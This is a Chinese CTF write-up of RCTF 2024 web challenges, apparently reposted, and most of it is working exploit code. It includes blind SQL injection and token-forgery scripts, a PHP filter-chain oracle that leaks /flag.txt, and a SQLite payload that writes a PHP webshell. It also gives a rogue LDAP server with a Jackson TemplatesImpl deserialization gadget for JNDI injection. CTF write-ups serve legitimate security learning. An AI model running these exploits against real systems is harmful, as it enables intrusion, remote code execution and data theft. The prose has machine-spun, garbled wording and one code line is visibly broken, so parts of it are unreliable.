RCTF 2024 WEB wp

RCTF 2024 WEB wp

媒介

赛后复现，proxy发现自己真是个呆b...
what_is_love

首先拿key1，sql语句处有注入，可以盲注拿key1的值

1. import requests
2. import string
3. strings = string.digits + string.ascii_uppercase + "_"
4. url="http://1.94.13.174:10088/key1"
5. flag='RCTF{'
6. payload="1' || BINARY love_key REGEXP '{}' #"
7. for i in range(100000):
8.     for j in strings:
9.         data={
10.             'key1':payload.format(flag+j)
11.         }
12.         req=requests.post(url,data=data)
13.         if "success" in req.text:
14.             flag=flag+j
15.             print(flag)
16.             break

复制代码

然后key2，本地没有测试saltedSecret 的值，到很晚才解出来..，阅读源码可以知道saltedSecret 由secret 和love_time 拼接而成，love_time 的值我们可以控制，我们设置成字符串，颠末parseInt处剖析酿成NaN，不管secret 是什么，跟NaN 拼接后也会是NaN，所以saltedSecret 的值就是NaN ,既然salt值可控了，加密方式是sha256，那我们就可以随意构造token了，写个全自动的脚本

1. import requests
2. import base64
3. import hashlib
4. import json
7. url = "http://1.94.13.174:10088/key2"
8. data = {
9.     "username": "lover",
10.     "love_time": "a"
11. }
12. response = requests.post(url, data=data)
13. token = response.text.split("token:")[1].strip()
14. print(f"Obtained token: {token}")
17. userinfo = {
18.     "username": "lover",
19.     "love_time": None,
20.     "have_lovers": True
21. }
22. data_hex = base64.b64encode(json.dumps(userinfo).encode()).decode()
23. signature = hashlib.sha256(f'{json.dumps(userinfo)}:NaN'.encode()).hexdigest()
24. evil_token = f"{data_hex}.{signature}"
25. print(f"Constructed evil token: {evil_token}")
28. url = "http://1.94.13.174:10088/check"
29. data = {
30.     "love_token": evil_token
31. }
32. response = requests.post(url, data=data)
33. print(f"Response from /check: {response.text}")
34. #_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}

复制代码

color

Js逆向拿到密钥和iv，测试点击逻辑，可以发现pos的值由rangeNum控制，我们控制rangeNum的值不变，拿返回的json中的data值作为pos的值发送就可以刷分了

1. import requests
3. url = "http://124.71.164.28:10088/final/game.php"
5. r = requests.Session()
6. # 获取cookie
7. r.get(url)
8. # 刷分
9. data1 = {
10.     'action': '3wrg4Ich1RsKFUUPmU0vlw==',
11.     'rangeNum': 'xu9TJ5ohTpq8tlEr1Xr/dA=='
12. }
14. for i in range(500):
15.     data2 = {
16.         'action': 's03/Zr+K7nTxLc2aiHJQcg==',
17.         'pos': r.post(url, data1).json()['data']
18.     }
19.     print(r.post(url, data2).json())
21. # game over
22. data3 = {
23.     'action': 'IMYZakV42qGIPRWdg/WfFg=='
24. }  
25. print(r.post(url, data3).json())
27. # {'code': 200, 'data': 'CD6Xpy8frmdyBVi4AjanGQ==', 'secret': 'kaZqPAlSbO0yDwz3yeFPJm7P1y8dOPX5rrvFMr70WunhBAPw2i+jUIrc/iAO7uIpZP8rlkDtpBfBwAygY6AUhw=='}

复制代码

secret解密一下，拿到源码，阅读源码，毛病点在这

file_get_contents，我们可以打侧信道盲注

1. import requests
2. import sys
3. from base64 import b64decode
5. """
6. THE GRAND IDEA:
7. We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
8. filter will blow up the string length by 4x every time it is used, which will quickly cause
9. 500 error if and only if the string is non empty. So we now have an oracle that tells us if
10. the string is empty.
12. THE GRAND IDEA 2:
13. The dechunk filter is interesting.
14. https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
15. It looks like it was implemented for something http related, but for our purposes, the interesting
16. behavior is that if the string contains no newlines, it will wipe the entire string if and only if
17. the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
18. above oracle! In fact we can verify that since the flag starts with D that the filter chain
20. dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE
22. does not cause a 500 error.
24. THE REST:
25. So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
26. into madness trying to figure out ways to:
27. - somehow get other characters not at the start of the flag file to the front
28. - detect more precisely which character is at the front
29. """
31. def join(*x):
32.   return '|'.join(x)
34. def err(s):
35.   print(s)
36.   raise ValueError
38. def req(s):
39.   data = f'php://filter/{s}/resource=/flag.txt'
40.   datas = {
41.         'action': 'xEt6B2i+YJdcrJ/RG3Ie4Q=='
42.   }
43.   files = {
44.       'image': ('web.png', data)
45.   }
46.   return "Allowed memory size" in requests.post(f'http://124.71.164.28:10088/final/game.php', data=datas, files=files).text
48. """
49. Step 1:
50. The second step of our exploit only works under two conditions:
51. - String only contains a-zA-Z0-9
52. - String ends with two equals signs
54. base64-encoding the flag file twice takes care of the first condition.
56. We don't know the length of the flag file, so we can't be sure that it will end with two equals
57. signs.
59. Repeated application of the convert.quoted-printable-encode will only consume additional
60. memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
61. If the double-base64 does not end with two equals signs, we will add junk data to the start of the
62. flag with convert.iconv..CSISO2022KR until it does.
63. """
65. blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
66. blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
67. blow_up_inf = join(*[blow_up_utf32]*50)
69. header = 'convert.base64-encode|convert.base64-encode'
71. # Start get baseline blowup
72. print('Calculating blowup')
73. baseline_blowup = 0
74. for n in range(100):
75.   payload = join(*[blow_up_utf32]*n)
76.   if req(f'{header}|{payload}'):
77.     baseline_blowup = n
78.     break
79. else:
80.   err('something wrong')
82. print(f'baseline blowup is {baseline_blowup}')
84. trailer = join(*[blow_up_utf32]*(baseline_blowup-1))
86. assert req(f'{header}|{trailer}') == False
88. print('detecting equals')
89. j = [
90.   req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
91.   req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
92.   req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
93. ]
94. print(j)
95. if sum(j) != 2:
96.   err('something wrong')
97. if j[0] == False:
98.   header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
99. elif j[1] == False:
100.   header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
101. elif j[2] == False:
102.   header = f'convert.base64-encode|convert.base64-encode'
103. else:
104.   err('something wrong')
105. print(f'j: {j}')
106. print(f'header: {header}')
108. """
109. Step two:
110. Now we have something of the form
111. [a-zA-Z0-9 things]==
113. Here the pain begins. For a long time I was trying to find something that would allow me to strip
114. successive characters from the start of the string to access every character. Maybe something like
115. that exists but I couldn't find it. However, if you play around with filter combinations you notice
116. there are filters that *swap* characters:
118. convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
119. abcdefgh -> badcfehg
121. convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
122. abcdefgh -> dcbahgfe
124. This allows us to access the first four characters of the string. Can we do better? It turns out
125. YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
126. the string:
128. abcdefgh -> <0xff><0xfe>abcdefgh
130. The idea being that if we now use the r4 gadget, we get something like:
131. ba<0xfe><0xff>fedc
133. And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
134. <0xfe><0xff> to get:
135. bafedc
137. And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
138. characters of the string. There's only one problem: our r4 gadget requires that the string length
139. is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
140. we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
141. good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
142. turns out, if we apply the filter
143. convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7
145. It will turn the == into:
146. +---AD0-3D3D+---AD0-3D3D
148. And this is magic, because this corrects such that when we apply the
149. convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!
151. Let's recap. We have a string like:
152. abcdefghij==
154. Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
155. abcdefghij+---AD0-3D3D+---AD0-3D3D
157. Apply convert.iconv.CSUNICODE.CSUNICODE:
158. <0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D
160. Apply r4 gadget:
161. ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3
163. Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
164. bafedcjihg+0DAD3D3+0DAD3Dw==
166. Then apply r4 once more:
167. efabijcd0+gh3DAD0+3D3DAD==wD
169. And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
170. the string still has two equals signs in it, so we can reapply the technique as many times as we
171. want, to access all the characters in the string ;)
172. """
174. flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
175. r2 = "convert.iconv.CSUNICODE.UCS-2BE"
176. r4 = "convert.iconv.UCS-4LE.10646-1:1993"
178. def get_nth(n):
179.   global flip, r2, r4
180.   o = []
181.   chunk = n // 2
182.   if chunk % 2 == 1: o.append(r4)
183.   o.extend([flip, r4] * (chunk // 2))
184.   if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
185.   return join(*o)
187. """
188. Step 3:
189. This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
190. char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
191. chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
192. I just bruteforced every combination of iconv filters to find these.
194. Numbers are a bit trickier because iconv doesn't tend to touch them.
195. In the CTF you coud porbably just guess from there once you have the letters. But if you actually
196. want a full leak you can base64 encode a third time and use the first two letters of the resulting
197. string to figure out which number it is.
198. """
200. rot1 = 'convert.iconv.437.CP930'
201. be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
202. o = ''
204. def find_letter(prefix):
205.   if not req(f'{prefix}|dechunk|{blow_up_inf}'):
206.     # a-f A-F 0-9
207.     if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
208.       # a-e
209.       for n in range(5):
210.         if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
211.           return 'edcba'[n]
212.           break
213.       else:
214.         err('something wrong')
215.     elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
216.       # A-E
217.       for n in range(5):
218.         if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
219.           return 'EDCBA'[n]
220.           break
221.       else:
222.         err('something wrong')
223.     elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
224.       return '*'
225.     elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
226.       # f
227.       return 'f'
228.     elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
229.       # F
230.       return 'F'
231.     else:
232.       err('something wrong')
233.   elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
234.     # n-s N-S
235.     if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
236.       # n-r
237.       for n in range(5):
238.         if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
239.           return 'rqpon'[n]
240.           break
241.       else:
242.         err('something wrong')
243.     elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
244.       # N-R
245.       for n in range(5):
246.         if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
247.           return 'RQPON'[n]
248.           break
249.       else:
250.         err('something wrong')
251.     elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
252.       # s
253.       return 's'
254.     elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
255.       # S
256.       return 'S'
257.     else:
258.       err('something wrong')
259.   elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
260.     # i j k
261.     if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
262.       return 'k'
263.     elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
264.       return 'j'
265.     elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
266.       return 'i'
267.     else:
268.       err('something wrong')
269.   elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
270.     # I J K
271.     if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
272.       return 'K'
273.     elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
274.       return 'J'
275.     elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
276.       return 'I'
277.     else:
278.       err('something wrong')
279.   elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
280.     # v w x
281.     if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
282.       return 'x'
283.     elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
284.       return 'w'
285.     elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
286.       return 'v'
287.     else:
288.       err('something wrong')
289.   elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
290.     # V W X
291.     if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
292.       return 'X'
293.     elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
294.       return 'W'
295.     elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
296.       return 'V'
297.     else:
298.       err('something wrong')
299.   elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
300.     # Z
301.     return 'Z'
302.   elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
303.     # z
304.     return 'z'
305.   elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
306.     # M
307.     return 'M'
308.   elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
309.     # m
310.     return 'm'
311.   elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
312.     # y
313.     return 'y'
314.   elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
315.     # Y
316.     return 'Y'
317.   elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
318.     # l
319.     return 'l'
320.   elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
321.     # L
322.     return 'L'
323.   elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
324.     # h
325.     return 'h'
326.   elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
327.     # H
328.     return 'H'
329.   elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
330.     # u
331.     return 'u'
332.   elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
333.     # U
334.     return 'U'
335.   elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
336.     # g
337.     return 'g'
338.   elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
339.     # G
340.     return 'G'
341.   elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
342.     # t
343.     return 't'
344.   elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
345.     # T
346.     return 'T'
347.   else:
348.     err('something wrong')
350. print()
351. for i in range(100):
352.   prefix = f'{header}|{get_nth(i)}'
353.   letter = find_letter(prefix)
354.   # it's a number! check base64
355.   if letter == '*':
356.     prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
357.     s = find_letter(prefix)
358.     if s == 'M':
359.       # 0 - 3
360.       prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
361.       ss = find_letter(prefix)
362.       if ss in 'CDEFGH':
363.         letter = '0'
364.       elif ss in 'STUVWX':
365.         letter = '1'
366.       elif ss in 'ijklmn':
367.         letter = '2'
368.       elif ss in 'yz*':
369.         letter = '3'
370.       else:
371.         err(f'bad num ({ss})')
372.     elif s == 'N':
373.       # 4 - 7
374.       prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
375.       ss = find_letter(prefix)
376.       if ss in 'CDEFGH':
377.         letter = '4'
378.       elif ss in 'STUVWX':
379.         letter = '5'
380.       elif ss in 'ijklmn':
381.         letter = '6'
382.       elif ss in 'yz*':
383.         letter = '7'
384.       else:
385.         err(f'bad num ({ss})')
386.     elif s == 'O':
387.       # 8 - 9
388.       prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
389.       ss = find_letter(prefix)
390.       if ss in 'CDEFGH':
391.         letter = '8'
392.       elif ss in 'STUVWX':
393.         letter = '9'
394.       else:
395.         err(f'bad num ({ss})')
396.     else:
397.       err('wtf')
399.   print(end=letter)
400.   o += letter
401.   sys.stdout.flush()
403. """
404. We are done!! :)
405. """
407. print()
408. d = b64decode(o.encode() + b'=' * 4)
409. # remove KR padding
410. d = d.replace(b'',b'')
411. print(b64decode(d))

复制代码

删掉前面的几个无关字符，base64解码拿到flag
proxy

实在挺简单一题，就是有点抽风就想不到...，阅读源码，很明显是个sqlite注入，curl_exec 是一点用也没有的，控制$BE就可以开始注入了，但是源码中写了个rollback，也就是有一条sql语句执行没乐成就回滚了，于是开始了漫长的测试，测到最后也没同时满足全部sql语句，终极解法：手动commit一次...
payload：?BE=');ATTACH DATABASE '/var/www/html/f12.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES (''); commit;--+
读取flag.php拿到flag
OpenYourEyesToSeeTheWorld

睁眼看世界，睁眼了但没看到世界，审了半天，入口都没找到，害，阅读源码，很明显是个jndi注入，找到入口基本就秒了，一直追踪search到这

进入p_resolveIntermediate

跟进c_resolveIntermediate_nns，上下两个都一样

进入c_lookup，里面就是熟悉的lookup流程了，就不多说这个，怎么才能进到这个c_lookup呢，得满足两个条件，Head和Tail不为空就行了，这两个从searchBase 获取的，对黑名单的绕过可以使用unicode编码，searchBase 在这里进行了处理，可以控制Head和Tail的值

进入这个CompositeName，实在就是对/ 进行了分割，写入了一个impl中，具体流程请自行研究，入口找到了就可以打了，既然是spring，直接就能打jackson的templateImpl了，这里打高版本的ldap

1. package com.ctf;
2. import com.sun.net.httpserver.HttpExchange;
3. import com.sun.net.httpserver.HttpHandler;
4. import com.sun.net.httpserver.HttpServer;
5. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
6. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
7. import com.unboundid.ldap.listener.InMemoryListenerConfig;
8. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
9. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
10. import com.unboundid.ldap.sdk.Entry;
11. import com.unboundid.ldap.sdk.LDAPException;
12. import com.unboundid.ldap.sdk.LDAPResult;
13. import com.unboundid.ldap.sdk.ResultCode;
14. import com.unboundid.util.Base64;
16. import javax.net.ServerSocketFactory;
17. import javax.net.SocketFactory;
18. import javax.net.ssl.SSLSocketFactory;
19. import java.io.*;
20. import java.net.InetAddress;
21. import java.net.InetSocketAddress;
22. import java.net.MalformedURLException;
23. import java.net.URL;
24. import java.text.ParseException;
27. public class LDAPServer2 {
29.     private static final String LDAP_BASE = "dc=example,dc=com";
32.     public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
33.         try {
34.             InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
35.             config.setListenerConfigs(new InMemoryListenerConfig(
36.                     "listen",
37.                     InetAddress.getByName("0.0.0.0"),
38.                     ldap_port,
39.                     ServerSocketFactory.getDefault(),
40.                     SocketFactory.getDefault(),
41.                     (SSLSocketFactory) SSLSocketFactory.getDefault()));
43.             config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
44.             InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
45.             System.out.println("Listening on 0.0.0.0:" + ldap_port);
46.             ds.startListening();
47.         }
48.         catch ( Exception e ) {
49.             e.printStackTrace();
50.         }
51.     }
53.     public static class HttpFileHandler implements HttpHandler {
54.         public HttpFileHandler() {
55.         }
57.         public void handle(HttpExchange httpExchange) {
58.             try {
59.                 System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
60.                 String uri = httpExchange.getRequestURI().getPath();
61.                 InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
62.                 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
64.                 if (inputStream == null){
65.                     System.out.println("Not Found");
66.                     httpExchange.close();
67.                     return;
68.                 }else{
69.                     while(inputStream.available() > 0) {
70.                         byteArrayOutputStream.write(inputStream.read());
71.                     }
73.                     byte[] bytes = byteArrayOutputStream.toByteArray();
74.                     httpExchange.sendResponseHeaders(200, (long)bytes.length);
75.                     httpExchange.getResponseBody().write(bytes);
76.                     httpExchange.close();
77.                 }
78.             } catch (Exception var5) {
79.                 var5.printStackTrace();
80.             }
82.         }
83.     }
84.     private static class OperationInterceptor extends InMemoryOperationInterceptor {
86.         private URL codebase;
88.         public OperationInterceptor ( URL cb ) {
89.             this.codebase = cb;
90.         }
92.         @Override
93.         public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
94.             String base = result.getRequest().getBaseDN();
95.             Entry e = new Entry(base);
96.             try {
97.                 sendResult(result, base, e);
98.             }
99.             catch ( Exception e1 ) {
100.                 e1.printStackTrace();
101.             }
103.         }
105.         protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
106.             URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
107.             System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
108.             e.addAttribute("javaClassName", "foo");
109.             String cbstring = this.codebase.toString();
110.             int refPos = cbstring.indexOf('#');
111.             if ( refPos > 0 ) {
112.                 cbstring = cbstring.substring(0, refPos);
113.             }
114.             /** Payload1: Return Reference Factory **/
115.             // e.addAttribute("javaCodeBase", cbstring);
116.             // e.addAttribute("objectClass", "javaNamingReference");
117.             // e.addAttribute("javaFactory", this.codebase.getRef());
118.             /** Payload1 end **/
120.             /** Payload2: Return Serialized Gadget **/
121.             try {
122.                 // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
123.                 e.addAttribute("javaSerializedData",Base64.decode(new BufferedReader(new InputStreamReader(new FileInputStream(new File("D:\\1.txt")))).readLine()));
124.             } catch (ParseException e1) {
125.                 e1.printStackTrace();
126.             }
127.             /** Payload2 end **/
129.             result.sendSearchEntry(e);
130.             result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
131.         }
132.     }
133.     public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
134.         System.out.println("Starting HTTP server");
135.         HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
136.         httpServer.createContext("/", new HttpFileHandler());
137.         httpServer.setExecutor(null);
138.         httpServer.start();
139.     }
141.     public static void main(String[] args) throws Exception {
142.         String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
143.         args = args1;
144.         System.out.println("HttpServerAddress: "+args[0]);
145.         System.out.println("HttpServerPort: "+args[1]);
146.         System.out.println("LDAPServerPort: "+args[2]);
147.         String http_server_ip = args[0];
148.         int ldap_port = Integer.valueOf(args[2]);
149.         int http_server_port = Integer.valueOf(args[1]);
151.         lanuchCodebaseURLServer(http_server_ip, http_server_port);
152.         lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
153.     }
154. }

复制代码

1. package com.example.demo.controller;
3. import com.fasterxml.jackson.databind.node.POJONode;
4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
5. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
6. import javax.management.BadAttributeValueExpException;
7. import javax.xml.transform.Templates;
8. import java.io.*;
9. import java.lang.reflect.Field;
10. import java.nio.file.Files;
11. import java.nio.file.Paths;
12. import java.util.Base64;
14. public class Test {
15.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
16.         Field f = obj.getClass().getDeclaredField(fieldName);
17.         f.setAccessible(true);
18.         f.set(obj, value);
19.     }
20.     public static void main(String[] args) throws Exception {
21.         byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("E:\\demo\\target\\classes\\com\\example\\demo\\calc.class"))};
22.         Templates templatesImpl = new TemplatesImpl();
23.         setFieldValue(templatesImpl, "_bytecodes", bytes);
24.         setFieldValue(templatesImpl, "_name", "a");
25.         setFieldValue(templatesImpl, "_tfactory", null);
26.         POJONode pojoNode = new POJONode(templatesImpl);
27.         BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
28.         Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
29.         val.setAccessible(true);
30.         val.set(exp,pojoNode);
31.         FileOutputStream fos = new FileOutputStream("D:\\1.txt");
32.         fos.write(serial(exp).getBytes());
33.         Base64.getDecoder().decode(serial(exp));
34.         File f = new File("D:\\1.txt");
35.         BufferedReader bfr = new BufferedReader(new InputStreamReader(new FileInputStream(f)));
36.         System.out.println(bfr.readLine());
37. //        deserial(serial(exp));
38.     }
39.     public static String serial(Object o) throws IOException, NoSuchFieldException {
40.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
41.         ObjectOutputStream oos = new ObjectOutputStream(baos);
42.         oos.writeObject(o);
43.         oos.close();
45.         String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
46.         return base64String;
48.     }
50.     public static void deserial(String data) throws Exception {
51.         byte[] base64decodedBytes = Base64.getDecoder().decode(data);
52.         ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
53.         ObjectInputStream ois = new ObjectInputStream(bais);
54.         ois.readObject();
55.         ois.close();
56.     }
57. }

复制代码

nosandbox

官方wp还没出，说实话不知道/flag的密钥有啥用，看SAINTSEC的师傅是直接打的cc。所以这题先空着，之后补充（

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。